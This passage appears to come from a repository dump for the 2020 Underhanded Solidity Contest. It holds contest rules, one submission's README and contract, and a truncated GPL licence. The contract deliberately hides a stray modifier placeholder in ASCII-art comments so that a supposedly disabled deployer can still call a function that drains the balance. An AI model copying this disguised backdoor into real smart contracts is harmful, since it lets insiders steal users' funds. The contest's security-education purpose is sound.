0.6</p>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</section>\r\n\r\n\t\t\t\t<!-- Three -->\r\n\t\t\t\t\t\t<section id=\"three\" class=\"wrapper style2 spotlights\">\r\n\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t\t<h2>Submission & Participation 📩</h2>\r\n\t\t\t\t\t\t\t\t\t\t<p>Please email your submissions before the deadline (2020-10-31) to <a href=\"mailto:sol_underhanded@ethereum.org\">sol_underhanded@ethereum.org</a>. Entries should consist of a ZIP file containing a README describing your submission and how it works (spoilers included), and one or more Solidity files.<br><br>\r\n\t\t\t\t\t\t\t\t\t\tEach person can only enter one submission. If you want to make a team submission, nominate a single person to submit on your team’s behalf. Since entries will be forwarded to the judges and assessed anonymously, please do not include identifying information in the ZIP file.</p>\r\n\t\t\t\t\t\t\t\t\t\t<h4>Who can participate?</h4>\r\n\t\t\t\t\t\t\t\t\t\t<p>Anybody over the age of 18 can participate. Judges and organizers of this contest are excluded from participation. If your jurisdiction requires you to pay taxes on prizes or imposes other restrictions, please make sure to adhere to those. If taking part in such contests is prohibited in your area please adhere to your local laws.</p>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t<div class=\"content\">\r\n\t\t\t\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t\t\t\t<h2>About 📖</h2>\r\n\t\t\t\t\t\t\t\t\t\t<p>Inspired by the <a href=\"http://www.underhanded-c.org/\">Underhanded C Contest</a> and the first <a href=\"https://u.solidity.cc/\">Underhanded Solidity Contest</a>, organized in 2017 by Nick Johnson, in 2020 the Solidity team decided that it is time for a revival. We hope this contest will get the traction it deserves in which case we could consider turning it into a recurring event.<br><br>\r\n\t\t\t\t\t\t\t\t\t\tThe Underhanded Solidity Contest aims to:\r\n\t\t\t\t\t\t\t\t\t\t<ul>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Raise awareness about smart contract security.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Uncover language design faults.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Battle-test recently introduced language features and restrictions.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Highlight anti-patterns in smart contact development.</li>\r\n\t\t\t\t\t\t\t\t\t\t\t<li>Establish new best practices for secure smart contract development.</li>\r\n\t\t\t\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t\t\tA big thank you to <a href=\"https://diligence.consensys.net/\">ConsenSys Diligence</a>, <a href=\"https://solidified.io/\">Solidified</a>, <a href=\"https://openzeppelin.com/\">OpenZeppelin</a>, and the <a href=\"https://ethereum.foundation/\">Ethereum Foundation</a> for contributing prizes, supporting with judging and all their input!\r\n\t\t\t\t\t\t\t\t\t</p>\r\n\t\t\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t\t</section>\t\t\t\t\t\r\n\t\t\t\r\n\t\t\t\t<!-- Four -->\r\n\t\t\t\t\t<section id=\"four\" class=\"wrapper style1 fade-up\">\r\n\t\t\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t\t\t<h2>Get in touch 📮</h2>\r\n\t\t\t\t\t\t\t<p>You have questions, want to get involved by sponsoring a prize, help with judging or propose a theme for the next Underhanded Solidity Contest? Then feel free to reach out to us!</p>\r\n\t\t\t\t\t\t\t\t<section>\r\n\t\t\t\t\t\t\t\t\t<ul class=\"contact\">\r\n\t\t\t\t\t\t\t\t\t\t<li>\r\n\t\t\t\t\t\t\t\t\t\t\t<h3>Email</h3>\r\n\t\t\t\t\t\t\t\t\t\t\t<a href=\"mailto:sol_underhanded@ethereum.org\">sol_underhanded@ethereum.org</a>\r\n\t\t\t\t\t\t\t\t\t\t</li>\r\n\t\t\t\t\t\t\t\t\t\t<li>\r\n\t\t\t\t\t\t\t\t\t\t\t<h3>Social</h3>\r\n\t\t\t\t\t\t\t\t\t\t\t<ul class=\"icons\">\r\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://twitter.com/solidity_lang\" class=\"icon brands fa-twitter\"><span class=\"label\">Twitter</span></a></li>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://github.com/ethereum/solidity\" class=\"icon brands fa-github\"><span class=\"label\">Github</span></a></li>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://gitter.im/ethereum/solidity-dev\" class=\"icon brands fa-gitter\"><span class=\"label\">Gitter</span></a></li>\r\n\t\t\t\t\t\t\t\t\t\t\t\t<li><a href=\"https://blog.soliditylang.org/\" class=\"icon solid fa-book-open\"><span class=\"label\">Blog</span></a></li>\r\n\t\t\t\t\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t\t\t\t</li>\r\n\t\t\t\t\t\t\t\t\t</ul>\r\n\t\t\t\t\t\t\t\t</section>\r\n\t\t\t\t\t\t\t</div>\r\n\t\t\t\t\t\t</div>\r\n\t\t\t\t\t</section>\r\n\r\n\t\t\t</div>\r\n\r\n\t\t<!-- Footer -->\r\n\t\t\t<footer id=\"footer\" class=\"wrapper style1-alt\">\r\n\t\t\t\t<div class=\"inner\">\r\n\t\t\t\t\t<ul class=\"menu\">\r\n\t\t\t\t\t\t<li>Made by the Solidity Team - 2020</li><li>Hyperspace Template by <a href=\"http://html5up.net\">HTML5 UP</a></li><li>illusions by GREY Perspective from the Noun Project</li>\r\n\t\t\t\t\t</ul>\r\n\t\t\t\t</div>\r\n\t\t\t</footer>\r\n\r\n\t\t<!-- Scripts -->\r\n\t\t\t<script src=\"assets/js/jquery.min.js\"></script>\r\n\t\t\t<script src=\"assets/js/jquery.scrollex.min.js\"></script>\r\n\t\t\t<script src=\"assets/js/jquery.scrolly.min.js\"></script>\r\n\t\t\t<script src=\"assets/js/browser.min.js\"></script>\r\n\t\t\t<script src=\"assets/js/breakpoints.min.js\"></script>\r\n\t\t\t<script src=\"assets/js/util.js\"></script>\r\n\t\t\t<script src=\"assets/js/main.js\"></script>\r\n\r\n\t</body>\r\n</html>\r\n"
  },
  {
    "path": "2020/submissions_2020/submission10_MartinHolstSwende/README.md",
    "content": "## Malicious upgrader\n\nThis contract implements a contract which stores a `deployer` and `owner`. If the `owner` is unset, the `deployer` is the admin. \nThe `owner` (or `deployer`) can, ostensibly, later decide to remove the `deployer` admin-rights. \n\nHowever, the modifier `onlyAdmins` actually \n  - rejects non-owner and non-deployer\n  - allows owner\n  - and, finally, executes the code anyway. \n  \nThe code tries to hide the last `_:` by blending it into some ascii meme comments. \n"
  },
  {
    "path": "2020/submissions_2020/submission10_MartinHolstSwende/test.sol",
    "content": "//SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.7.1;\n\ncontract test{\n    \n    address owner = address(0);\n    address deployer = address(1);\n    bool deployerActive = true;\n\n    constructor(address ownerAddress){\n        deployer = msg.sender;\n        if (ownerAddress != address(0)){\n            /* Owner is set. That means the deployer should be deactivated as admin */\n            deployerActive = false;\n            owner = ownerAddress;\n        }\n    }\n    \n\n   modifier onlyAdmins {\n\n        /* Non-admins go away, haha ʕノ•ᴥ•ʔノ ︵ ┻━┻ */\n        require(msg.sender == owner || msg.sender == deployer);\n\n       /* The owners can always call this thing! */\n      /*  And Deployer can call it, if he's still active */ \n      if (msg.sender == owner || deployerActive){\n          _;\n          return;\n      }\n      /* Ahh, no, this method is *disabled* (╯°□°）╯︵ ┻━┻ */_\n    \n     ;}\n\n    /* This is very special admin function. Drain contract of all money! */\n    function payTime() onlyAdmins public  returns(bool){\n\n        msg.sender.transfer(address(this).balance);\n        return true;\n    }\n    \n    /* Disable the deployer super-powers */\n    function disableDeployer() onlyAdmins external{\n        deployerActive = false;\n    }\n}\n"
  },
  {
    "path": "2020/submissions_2020/submission11_RobertMCForster/LICENSE.txt",
    "content": "                    GNU GENERAL PUBLIC LICENSE\r\n                       Version 3, 29 June 2007\r\n\r\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\r\n Everyone is permitted to copy and distribute verbatim copies\r\n of this license document, but changing it is not allowed.\r\n\r\n                            Preamble\r\n\r\n  The GNU General Public License is a free, copyleft license for\r\nsoftware and other kinds of works.\r\n\r\n  The licenses for most software and other practical works are designed\r\nto take away your freedom to share and change the works.  By contrast,\r\nthe GNU General Public License is intended to guarantee your freedom to\r\nshare and change all versions of a program--to make sure it remains free\r\nsoftware for all its users.  We, the Free Software Foundation, use the\r\nGNU General Public License for most of our software; it applies also to\r\nany other work released this way by its authors.  You can apply it to\r\nyour programs, too.\r\n\r\n  When we speak of free software, we are referring to freedom, not\r\nprice.  Our General Public Licenses are designed to make sure that you\r\nhave the freedom to distribute copies of free software (and charge for\r\nthem if you wish), that you receive source code or can get it if you\r\nwant it, that you can change the software or use pieces of it in new\r\nfree programs, and that you know you can do these things.\r\n\r\n  To protect your rights, we need to prevent others from denying you\r\nthese rights or asking you to surrender the rights.  Therefore, you have\r\ncertain responsibilities if you distribute copies of the software, or if\r\nyou modify it: responsibilities to respect the freedom of others.\r\n\r\n  For example, if you distribute copies of such a program, whether\r\ngratis or for a fee, you must pass on to the recipients the same\r\nfreedoms that you received.  You must make sure that they, too, receive\r\nor can get the source code.  And you must show them these terms so they\r\nknow their rights.\r\n\r\n  Developers that use the GNU GPL protect your rights with two steps:\r\n(1) assert copyright on the software, and (2) offer you this License\r\ngiving you legal permission to copy, distribute and/or modify it.\r\n\r\n  For the developers' and authors' protection, the GPL clearly explains\r\nthat there is no warranty for this free software.  For both users' and\r\nauthors' sake, the GPL requires that modified versions be marked as\r\nchanged, so that their problems will not be attributed erroneously to\r\nauthors of previous versions.\r\n\r\n  Some devices are designed to deny users access to install or run\r\nmodified versions of the software inside them, although the manufacturer\r\ncan do so.  This is fundamentally incompatible with the aim of\r\nprotecting users' freedom to change the software.  The systematic\r\npattern of such abuse occurs in the area of products for individuals to\r\nuse, which is precisely where it is most unacceptable.  Therefore, we\r\nhave designed this version of the GPL to prohibit the practice for those\r\nproducts.  If such problems arise substantially in other domains, we\r\nstand ready to extend this provision to those domains in future versions\r\nof the GPL, as needed to protect the freedom of users.\r\n\r\n  Finally, every program is threatened constantly by software patents.\r\nStates should not allow patents to restrict development and use of\r\nsoftware on general-purpose computers, but in those that do, we wish to\r\navoid the special danger that patents applied to a free program could\r\nmake it effectively proprietary.  To prevent this, the GPL assures that\r\npatents cannot be used to render the program non-free.\r\n\r\n  The precise terms and conditions for copying, distribution and\r\nmodification follow.\r\n\r\n                       TERMS AND CONDITIONS\r\n\r\n  0. Definitions.\r\n\r\n  \"This License\" refers to version 3 of the GNU General Public License.\r\n\r\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\r\nworks, such as semiconductor masks.\r\n\r\n  \"The Program\" refers to any copyrightable work licensed under this\r\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\r\n\"recipients\" may be individuals or organizations.\r\n\r\n  To \"modify\" a work means to copy from or adapt all or part of the work\r\nin a fashion requiring copyright permission, other than the making of an\r\nexact copy.  The resulting work is called a \"modified version\" of the\r\nearlier work or a work \"based on\" the earlier work.\r\n\r\n  A \"covered work\" means either the unmodified Program or a work based\r\non the Program.\r\n\r\n  To \"propagate\" a work means to do anything with it that, without\r\npermission, would make you directly or secondarily liable for\r\ninfringement under applicable copyright law, except executing it on a\r\ncomputer or modifying a private copy.  Propagation includes copying,\r\ndistribution (with or without modification), making available to the\r\npublic, and in some countries other activities as well.\r\n\r\n  To \"convey\" a work means any kind of propagation that enables other\r\nparties to make or receive copies.  Mere interaction with a user through\r\na computer network, with no transfer of a copy, is not conveying.\r\n\r\n  An interactive user interface displays \"Appropriate Legal Notices\"\r\nto the extent that it includes a convenient and prominently visible\r\nfeature that (1) displays an appropriate copyright notice, and (2)\r\ntells the user that there is no warranty for the work (except to the\r\nextent that warranties are provided), that licensees may convey the\r\nwork under this License, and how to view a copy of this License.  If\r\nthe interface presents a list of user commands or options, such as a\r\nmenu, a prominent item in the list meets this criterion.\r\n\r\n  1. Source Code.\r\n\r\n  The \"source code\" for a work means the preferred form of the work\r\nfor making modifications to it.  \"Object code\" means any non-source\r\nform of a work.\r\n\r\n  A \"Standard Interface\" means an interface that either is an official\r\nstandard defined by a recognized standards body, or, in the case of\r\ninterfaces specified for a particular programming language, one that\r\nis widely used among developers working in that language.\r\n\r\n  The \"System Libraries\" of an executable work include anything, other\r\nthan the work as a whole, that (a) is included in the normal form of\r\npackaging a Major Component, but which is not part of that Major\r\nComponent, and (b) serves only to enable use of the work with that\r\nMajor Component, or to implement a Standard Interface for which an\r\nimplementation is available to the public in source code form.  A\r\n\"Major Component\", in this context, means a major essential component\r\n(kernel, window system, and so on) of the specific operating system\r\n(if any) on which the executable work runs, or a compiler used to\r\nproduce the work, or an object code interpreter used to run it.\r\n\r\n  The \"Corresponding Source\" for a work in object code form means all\r\nthe source code needed to generate, install, and (for an executable\r\nwork) run the object code and to modify the work, including scripts to\r\ncontrol those activities.  However, it does not include the work's\r\nSystem Libraries, or general-purpose tools or generally available free\r\nprograms which are used unmodified in performing those activities but\r\nwhich are not part of the work.  For example, Corresponding Source\r\nincludes interface definition files associated with source files for\r\nthe work, and the source code for shared libraries and dynamically\r\nlinked subprograms that the work is specifically designed to require,\r\nsuch as by intimate data communication or control flow between those\r\nsubprograms and other parts of the work.\r\n\r\n  The Corresponding Source need not include anything that users\r\ncan regenerate automatically from other parts of the Corresponding\r\nSource.\r\n\r\n  The Corresponding Source for a work in source code form is that\r\nsame work.\r\n\r\n  2. Basic Permissions.\r\n\r\n  All rights granted under this License are granted for the term of\r\ncopyright on the Program, and are irrevocable provided the stated\r\nconditions are met.  This License explicitly affirms your unlimited\r\npermission to run the unmodified Program.  The output from running a\r\ncovered work is covered by this License only if the output, given its\r\ncontent, constitutes a covered work.  This License acknowledges your\r\nrights of fair use or other equivalent, as provided by copyright law.\r\n\r\n  You may make, run and propagate covered works that you do not\r\nconvey, without conditions so long as your license otherwise remains\r\nin force.  You may convey covered works to others for the sole purpose\r\nof having them make modifications exclusively for you, or provide you\r\nwith facilities for running those works, provided that you comply with\r\nthe terms of this License in conveying all material for which you do\r\nnot control copyright.  Those thus making or running the covered works\r\nfor you must do so exclusively on your behalf, under your direction\r\nand control, on terms that prohibit them from making any copies of\r\nyour copyrighted material outside their relationship with you.\r\n\r\n  Conveying under any other circumstances is permitted solely under\r\nthe conditions stated below.  Sublicensing is not allowed; section 10\r\nmakes it unnecessary.\r\n\r\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\r\n\r\n  No covered work shall be deemed part of an effective technological\r\nmeasure under any applicable law fulfilling obligations under article\r\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\r\nsimilar laws prohibiting or restricting circumvention of such\r\nmeasures.\r\n\r\n  When you convey a covered work, you waive any legal power to forbid\r\ncircumvention of technological measures to the extent such circumvention\r\nis effected by exercising rights under this License with respect to\r\nthe covered work, and you disclaim any intention to limit operation or\r\nmodification of the work as a means of enforcing, against the work's\r\nusers, your or third parties' legal rights to forbid circumvention of\r\ntechnological measures.\r\n\r\n  4. Conveying Verbatim Copies.\r\n\r\n  You may convey verbatim copies of the Program's source code as you\r\nreceive it, in any medium, provided that you conspicuously and\r\nappropriately publish on each copy an appropriate copyright notice;\r\nkeep intact all notices stating that this License and any\r\nnon-permissive terms added in accord with section 7 apply to the code;\r\nkeep intact all notices of the absence of any warranty; and give all\r\nrecipients a copy of this License along with the Program.\r\n\r\n  You may charge any price or no price for each copy that you convey,\r\nand you may offer support or warranty protection for a fee.\r\n\r\n  5. Conveying Modified Source Versions.\r\n\r\n  You may convey a work based on the Program, or the modifications to\r\nproduce it from the Program, in the form of source code under the\r\nterms of section 4, provided that you also meet all of these conditions:\r\n\r\n    a) The work must carry prominent notices stating that you modified\r\n    it, and giving a relevant date.\r\n\r\n    b) The work must carry prominent notices stating that it is\r\n    released under this License and any conditions added under section\r\n    7.  This requirement modifies the requirement in section 4 to\r\n    \"keep intact all notices\".\r\n\r\n    c) You must license the entire work, as a whole, under this\r\n    License to anyone who comes into possession of a copy.  This\r\n    License will therefore apply, along with any applicable section 7\r\n    additional terms, to the whole of the work, and all its parts,\r\n    regardless of how they are packaged.  This License gives no\r\n    permission to license the work in any other way, but it does not\r\n    invalidate such permission if you have separately received it.\r\n\r\n    d) If the work has interactive user interfaces, each must display\r\n    Appropriate Legal Notices; however, if the Program has interactive\r\n    interfaces that do not display Appropriate Legal Notices, your\r\n    work need not make them do so.\r\n\r\n  A compilation of a covered work with other separate and independent\r\nworks, which are not by their nature extensions of the covered work,\r\nand which are not combined with it such as to form a larger program,\r\nin or on a volume of a storage or distribution medium, is called an\r\n\"aggregate\" if the compilation and its resulting copyright are not\r\nused to limit the access or legal rights of the compilation's users\r\nbeyond what the individual works permit.  Inclusion of a covered work\r\nin an aggregate does not cause this License to apply to the other\r\nparts of the aggregate.\r\n\r\n  6. Conveying Non-Source Forms.\r\n\r\n  You may convey a covered work in object code form under the terms\r\nof sections 4 and 5, provided that you also convey the\r\nmachine-readable Corresponding Source under the terms of this License,\r\nin one of these ways:\r\n\r\n    a) Convey the object code in, or embodied in, a physical product\r\n    (including a physical distribution medium), accompanied by the\r\n    Corresponding Source fixed on a durable physical medium\r\n    customarily used for software interchange.\r\n\r\n    b) Convey the object code in, or embodied in, a physical product\r\n    (including a physical distribution medium), accompanied by a\r\n    written offer, valid for at least three years and valid for as\r\n    long as you offer spare parts or customer support for that product\r\n    model, to give anyone who possesses the object code either (1) a\r\n    copy of the Corresponding Source for all the software in the\r\n    product that is covered by this License, on a durable physical\r\n    medium customarily used for software interchange, for a price no\r\n    more than your reasonable cost of physically performing this\r\n    conveying of source, or (2) access to copy the\r\n    Corresponding Source from a network server at no charge.\r\n\r\n    c) Convey individual copies of the object code with a copy of the\r\n    written offer to provide the Corresponding Source.  This\r\n    alternative is allowed only occasionally and noncommercially, and\r\n    only if you received the object code with such an offer, in accord\r\n    with subsection 6b.\r\n\r\n    d) Convey the object code by offering access from a designated\r\n    place (gratis or for a charge), and offer equivalent access to the\r\n    Corresponding Source in the same way through the same place at no\r\n    further charge.  You need not require recipients to copy the\r\n    Corresponding Source along with the object code.  If the place to\r\n    copy the object code is a network server, the Corresponding Source\r\n    may be on a different server (operated by you or a third party)\r\n    that supports equivalent copying facilities, provided you maintain\r\n    clear directions next to the object code saying where to find the\r\n    Corresponding Source.  Regardless of what server hosts the\r\n    Corresponding Source, you remain obligated to ensure that it is\r\n    available for as long as needed to satisfy these requirements.\r\n\r\n    e) Convey the object code using peer-to-peer transmission, provided\r\n    you inform other peers where the object code and Corresponding\r\n    Source of the work are being offered to the general public at no\r\n    charge under subsection 6d.\r\n\r\n  A separable portion of the object code, whose source code is excluded\r\nfrom the Corresponding Source as a System Library, need not be\r\nincluded in conveying the object code work.\r\n\r\n  A \"User Product\" is either (1) a \"consumer product\", which means any\r\ntangible personal property which is normally used for personal, family,\r\nor household purposes, or (2) anything designed or sold for incorporation\r\ninto a dwelling.  In determining whether a product is a consumer product,\r\ndoubtful cases shall be resolved in favor of coverage.  For a particular\r\nproduct received by a particular user, \"normally used\" refers to a\r\ntypical or common use of that class of product, regardless of the status\r\nof the particular user or of the way in which the particular user\r\nactually uses, or expects or is expected to use, the product.  A product\r\nis a consumer product regardless of whether the product has substantial\r\ncommercial, industrial or non-consumer uses, unless such uses represent\r\nthe only significant mode of use of the product.\r\n\r\n  \"Installation Information\" for a User Product means any methods,\r\nprocedures, authorization keys, or other information required to install\r\nand execute modified versions of a covered work in that User Product from\r\na modified version of its Corresponding Source.  The information must\r\nsuffice to ensure that the continued functioning of the modified object\r\ncode is in no case prevented or interfered with solely because\r\nmodification has been made.\r\n\r\n  If you convey an object code work under this section in, or with, or\r\nspecifically for use in, a User Product, and the conveying occurs as\r\npart of a transaction in which the right of possession and use of the\r\nUser Product is transferred to the recipient in perpetuity or for a\r\nfixed term (regardless of how the transaction is characterized), the\r\nCorresponding Source conveyed under this section must be accompanied\r\nby the Installation Information.  But this requirement does not apply\r\nif neither you nor any third party retains the ability to install\r\nmodified object code on the User Product (for example, the work has\r\nbeen installed in ROM).\r\n\r\n  The requirement to provide Installation Information does not include a\r\nrequirement to continue to provide support service, warranty, or updates\r\nfor a work that has been modified or installed by the recipient, or for\r\nthe User Product in which it has been modified or installed.  Access to a\r\nnetwork may be denied when the modification itself materially and\r\nadversely affects the operation of the network or violates the rules and\r\nprotocols for communication across the network.\r\n\r\n  Corresponding Source conveyed, and Installation Information provided,\r\nin accord with this section must be in a format that is publicly\r\ndocumented (and with an implementation available to the public in\r\nsource code form), and must require no special password or key for\r\nunpacking, reading or copying.\r\n\r\n  7. Additional Terms.\r\n\r\n  \"Additional permissions\" are terms that supplement the terms of this\r\nLicense by making exceptions from one or more of its conditions.\r\nAdditional permissions that are applicable to the entire Program shall\r\nbe treated as though they were included in this License, to the extent\r\nthat they are valid under applicable law.  If additional permissions\r\napply only to part of the Program, that part may be used separately\r\nunder those permissions, but the entire Program remains governed by\r\nthis License without regard to the additional permissions.\r\n\r\n  When you convey a copy of a covered work, you may at your option\r\nremove any additional permissions from that copy, or from any part of\r\nit.  (Additional permissions may be written to require their own\r\nremoval in certain cases when you modify the work.)  You may place\r\nadditional permissions on material, added by you to a covered work,\r\nfor which you have or can give appropriate copyright permission.\r\n\r\n  Notwithstanding any other provision of this License, for material you\r\nadd to a covered work, you may (if authorized by the copyright holders of\r\nthat material) supplement the terms of this License with terms:\r\n\r\n    a) Disclaiming warranty or limiting liability differently from the\r\n    terms of sections 15 and 16 of this License; or\r\n\r\n    b) Requiring preservation of specified reasonable legal notices or\r\n    author attributions in that material or in the Appropriate Legal\r\n    Notices displayed by works containing it; or\r\n\r\n    c) Prohibiting misrepresentation of the origin of that material, or\r\n    requiring that modified versions of such material be marked in\r\n    reasonable ways as different from the original version; or\r\n\r\n    d) Limiting the use for publicity purposes of names of licensors or\r\n    authors of the material; or\r\n\r\n    e) Declining to grant rights under trademark law for use of some\r\n    trade names, trademarks, or service marks; or\r\n\r\n    f) Requiring indemnification of licensors and authors of that\r\n    material by anyone who conveys the material (or modified versions of\r\n    it) with contractual assumptions of liability to the recipient, for\r\n    any liability that these contractual assumptions directly impose on\r\n    those licensors and authors.\r\n\r\n  All other non-permissive additional terms are considered \"further\r\nrestrictions\" within the meaning of section 10.  If the Program as you\r\nreceived it, or any part of it, contains a notice stating that it is\r\ngoverned by this License along with a term that is a further\r\nrestriction, you may remove that term.  If a license document contains\r\na further restriction but permits relicensing or conveying under this\r\nLicense, you may add to a covered work material governed by the terms\r\nof that license document, provided that the further restriction does\r\nnot survive such relicensing or conveying.\r\n\r\n  If you add terms to a covered work in accord with this section, you\r\nmust place, in the relevant source files, a statement of the\r\nadditional terms that apply to those files, or a notice indicating\r\nwhere to find the applicable terms.\r\n\r\n  Additional terms, permissive or non-permissive, may be stated in the\r\nform of a separately written license, or stated as exceptions;\r\nthe above requirements apply either way.\r\n\r\n  8. Termination.\r\n\r\n  You may not propagate or modify a covered work except as expressly\r\nprovided under this License.  Any attempt otherwise to propagate or\r\nmodify it is void, and will automatically terminate your rights under\r\nthis License (including any patent licenses granted under the third\r\nparagraph of section 11).\r\n\r\n  However, if you cease all violation of this License, then your\r\nlicense from a particular copyright holder is reinstated (a)\r\nprovisionally, unless and until the copyright holder explicitly and\r\nfinally terminates your license, and (b) permanently, if the copyright\r\nholder fails to notify you of the violation by some reasonable means\r\nprior to 60 days after the cessation.\r\n\r\n  Moreover, your license from a particular copyright holder is\r\nreinstated permanently if the copyright holder notifies you of the\r\nviolation by some reasonable means, this is the first time you have\r\nreceived notice of violation of this License (for any work) from that\r\ncopyright holder, and you cure the violation prior to 30 days after\r\nyour receipt of the notice.\r\n\r\n  Termination of your rights under this section does not terminate the\r\nlicenses of parties who have received copies or rights from you under\r\nthis License.  If your rights have been terminated and not permanently\r\nreinstated, you do not qualify to receive new licenses for the same\r\nmaterial under section 10.\r\n\r\n  9. Acceptance Not Required for Having Copies.\r\n\r\n  You are not required to accept this License in order to receive or\r\nrun a copy of the Program.  Ancillary propagation of a covered work\r\noccurring solely as a consequence of using peer-to-peer transmission\r\nto receive a copy likewise does not require acceptance.  However,\r\nnothing other than this License grants you permission to propagate or\r\nmodify any covered work.  These actions infringe copyright if you do\r\nnot accept this License.  Therefore, by modifying or propagating a\r\ncovered work, you indicate your acceptance of this License to do so.\r\n\r\n  10. Automatic Licensing of Downstream Recipients.\r\n\r\n  Each time you convey a covered work, the recipient automatically\r\nreceives a license from the original licensors, to run, modify and\r\npropagate that work, subject to this License.  You are not responsible\r\nfor enforcing compliance by third parties with this License.\r\n\r\n  An \"entity transaction\" is a transaction transferring control of an\r\norganization, or substantially all assets of one, or subdividing an\r\norganization, or merging organizations.  If propagation of a covered\r\nwork results from an entity transaction, each party to that\r\ntransaction who receives a copy of the work also receives whatever\r\nlicenses to the work the party's predecessor in interest had or could\r\ngive under the previous paragraph, plus a right to possession of the\r\nCorresponding Source of the work from the predecessor in interest, if\r\nthe predecessor has it or can get it with reasonable efforts.\r\n\r\n  You may not impose any further restrictions on the exercise of the\r\nrights granted or affirmed under this License.  For example, you may\r\nnot impose a license fee, royalty, or other charge for exercise of\r\nrights granted under this License, and you may not initiate litigation\r\n(including a cross-claim or counterclaim in a lawsuit) alleging that\r\nany patent claim is infringed by making, using, selling, offering for\r\nsale, or importing the Program or any portion of it.\r\n\r\n  11. Patents.\r\n\r\n  A \"contributor\" is a copyright holder who authorizes use under this\r\nLicense of the Program or a work on which the Program is based.  The\r\nwork thus licensed is called the contributor's \"contributor version\".\r\n\r\n  A contributor's \"essential patent claims\" are all patent claims\r\nowned or controlled by the contributor, whether already acquired or\r\nhereafter acquired, that would be infringed by some manner, permitted\r\nby this License, of making, using, or selling its contributor version,\r\nbut do not include claims that would be infringed only as a\r\nconsequence of further modification of the contributor version.  For\r\npurposes of this definition, \"control\" includes the right to grant\r\npatent sublicenses in a manner consistent with the requirements of\r\nthis License.\r\n\r\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\r\npatent license under the contributor's essential patent claims, to\r\nmake, use, sell, offer for sale, import and otherwise run, modify and\r\npropagate the contents of its contributor version.\r\n\r\n  In the following three paragraphs, a \"patent license\" is any express\r\nagreement or commitment, however denominated, not to enforce a patent\r\n(such as an express permission to practice a patent or covenant not to\r\nsue for patent infringement).  To \"grant\" such a patent license to a\r\nparty means to make such an agreement or commitment not to enforce a\r\npatent against the party.\r\n\r\n  If you convey a covered work, knowingly relying on a patent license,\r\nand the Corresponding Source of the work is not available for anyone\r\nto copy, free of charge and under the terms of this License, through a\r\npublicly available network server or other readily accessible means,\r\nthen you must either (1) cause the Corresponding Source to be so\r\navailable, or (2) arrange to deprive yourself of the benefit of the\r\npatent license for this particular work, or (3) arrange, in a manner\r\nconsistent with the requirements of this License, to extend the patent\r\nlicense to downstream recipients.  \"Knowingly relying\" means you have\r\nactual knowledge that, but for the patent license, your conveying the\r\ncovered work in a country, or your recipient's use of the covered work\r\nin a country, would infringe one or more identifiable patents in that\r\ncountry that you have reason to believe are valid.\r\n\r\n  If, pursuant to or in connection with a single transaction or\r\narrangement, you convey, or propagate by procuring conveyance of, a\r\ncovered work, and grant a patent license to some of the parties\r\nreceiving the covered work authorizing them to use, propagate, modify\r\nor convey a specific copy of the covered work, then the patent license\r\nyou grant is automatically extended to all recipients of the covered\r\nwork and works based on it.\r\n\r\n  A patent license is \"discriminatory\" if it does not include within\r\nthe scope of its coverage, prohibits the exercise of, or is\r\nconditioned on the non-exercise of one or more of the rights that are\r\nspecifically granted under this License.  You may not convey a covered\r\nwork if you are a party to an arrangement with a third party that is\r\nin the business of distributing software, under which you make payment\r\nto the third party based on the extent of your activity of conveying\r\nthe work, and under which the third party grants, to any of the\r\nparties who would receive the covered work from you, a discriminatory\r\npatent license (a) in connection with copies of the covered work\r\nconveyed by you (or copies made from those copies), or (b) primarily\r\nfor and in connection with specific products or compilations that\r\ncontain the covered work, unless you entered into that arrangement,\r\nor that patent license was granted, prior to 28 March 2007.\r\n\r\n  Nothing in this License shall be construed as excluding or limiting\r\nany implied license or other defenses to infringement that may\r\notherwise be available to you under applicable patent law.\r\n\r\n  12. No Surrender of Others' Freedom.\r\n\r\n  If conditions are imposed on you (whether by court order, agreement or\r\notherwise) that contradict the conditions of this License, they do not\r\nexcuse you from the conditions of this License.  If you cannot convey a\r\ncovered work so as to satisfy simultaneously your obligations under this\r\nLicense and any other pertinent obligations, then as a consequence you may\r\nnot convey it at all.  For example, if you agree to terms that obligate you\r\nto collect a royalty for further conveying from those to whom you convey\r\nthe Program, the only way you could satisfy both those terms and this\r\nLicense would be to refrain entirely from conveying the Program.\r\n\r\n  13. Use with the GNU Affero General Public License.\r\n\r\n  Notwithstanding any other provision of this License, you have\r\npermission to link or combine any covered work with a work licensed\r\nunder version 3 of the GNU Affero General Public License into a single\r\ncombined work, and to convey the resulting work.  The terms of this\r\nLicense will continue to apply to the part which is the covered work,\r\nbut the special requirements of the GNU Affero General Public License,\r\nsection 13, concerning interaction through a network will apply to the\r\ncombination as such.\r\n\r\n  14. Revised Versions of this License.\r\n\r\n  The Free Software Foundation may publish revised and/or new versions of\r\nthe GNU General Public License from time to time.  Such new versions will\r\nbe similar in spirit to the present version, but may differ in detail to\r\naddress new problems or concerns.\r\n\r\n  Each version is given a distinguishing version number.  If the\r\nProgram specifies that a certain numbered 